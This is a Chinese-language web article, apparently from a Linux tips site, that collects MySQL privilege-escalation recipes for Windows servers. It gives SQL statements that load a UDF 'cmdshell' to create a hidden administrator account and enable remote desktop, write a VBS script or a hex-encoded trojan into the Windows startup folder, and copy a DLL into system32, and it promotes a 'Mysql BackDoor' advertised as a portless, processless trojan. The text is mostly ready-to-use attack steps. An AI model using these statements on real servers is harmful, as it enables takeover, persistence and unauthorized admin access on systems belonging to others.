mysql提權語句歸納
mysql提權語句歸納如下:
一 UDF提權
這類提權方法我想大家已經知道了,我大致寫一下,具體語句如下:
create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:\web\3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);
二 VBS啟動項提權
create table a (cmd text);
insert into a values ("set wshshell=createobject (""w.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";
先在webshell里連接上數據庫,建立表,將VBS寫入表里,然后導入啟動項,如果UDF提權不行的話也可以嘗試下這個方法,前提是要有ROOT權限,后面有個,0表示不彈出CMD窗口,安靜的運行。
還可以這樣寫:
create table a (cmd BLOB);
insert into a values (CONVERT(木馬的16進制代碼,CHAR));
select * from a into dumpfile ’C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\啟動\\mm.exe’
drop table a;
執行前3條語句,就可以將木馬寫進啟動里了,前提是木馬一定要是16進制,還有就是路徑要是\\,因為windows會自動過濾掉一個\
三 Linx Mysql BackDoor提權
Linx Mysql Door
Mysql BackDoor是一款針對PHP+Mysql服務器開發的后門,該后門安裝后為Mysql增加一個可以執行系統命令的"state"函數,并且隨Mysql進程啟動一個基于Dll的嗅探型后門,這個后門在Windows下擁有與Mysql一樣的系統權限,從而巧妙的實現了無端口,無進程,無服務的穿墻木馬.
用法:將Mysql.php傳到PHP服務器上,點擊"自動安裝Mysql BackDoor",然后直接執行命令即可
四,MIX.DLL提權
create table temp_mix(abc longblob);
insert into temp_mix values(load_file(’D:\\web\\udf.dll’));
select * from temp_mix into dumpfile ’C:\\Windows\\system32\\udf.dll’;
create function MyCmd returns string soname ’udf.dll’;
select MyCmd(’net user’);
drop table if exists temp_mix;
前三句主要目的是把DLL放到系統目錄.第4句建立函數.然后就可以執行系統命令了。而最容易出問題的就是第4句:can’t open shared library ’udf.dll’(error 2);就說下他.
先前的時候.有次提權.可以建立函數.也忘了什么原因了.需要重新建下這個函數.首先百度了下.說得是:drop function MyCmd; 就可以刪到已經建立的函數.測試了下.發現還是不行.然后繼續找的時候.說這是MYSQL的一個BUG.可以執行如下語句:delete from mysql.func where name=’MyCmd’;.測試了下成功了.前天再次盯著屏幕上的can’t open shared library ’udf.dll’.又看到了這條delete語句.我們知道delete就是刪除.是刪的表里的東西.刪下表就可以刪了函數了?那反過來.建立函數是不是就是往表里插入一條新記錄?而且是mysql.func.也就是mysql這個庫里的func表.呵呵.看名字也象.測試一番后.得出如下結果:
在提權的時候.建立函數顯示can’t open shared library ’udf.dll’.就干脆跳過這句.執行另外一句.或者說.把第4句換成:insert into mysql.func values(’MyCmd’,0,’udf.dll’,’function’);.說下func這個表的結構:4列.name,return,dl,fun.第二列和第四列的名字記不大清楚了.但意思一樣.有興趣可以自己select * from func;下就知道了.第一列就是新建函數的名字.字符串.第二列是返回值.填0.第三列dl指函數所在的dll名字.字符串類型.這里為我們導到系統目錄里的dll名.不一定是udf.dll.只要跟你導出的一樣就行.第四列作用不清楚.但是填上funciton這個字符串就能用.應該是指這個是個函數吧...因為這只是個插入操作.所以只要是root.應該不會有錯誤的.后面的就一樣了.select MyCmd(’whoami’);.但是別急!這里有個前提:需要重啟MYSQL..我對MYSQL不了解.但是重啟后新建的函數絕對可用.貌似有別的辦法可以達到同樣的效果.好象是flush.但是具體flush哪里.就不知道了.不過不是權限.也不是func表.試過了.而且MYSQL下.搜了很久也沒找到root在MYSQL下通過命令重啟的.
關健詞:mysql
新文章:
- CentOS7下圖形配置網絡的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統后丟失windows啟動項
- CentOS單網卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網打印機IP講解
- CentOS7使用hostapd實現無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網絡重啟出錯
- 解決Centos7雙系統后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統有什么不同呢
- Centos 6.6默認iptable規則詳解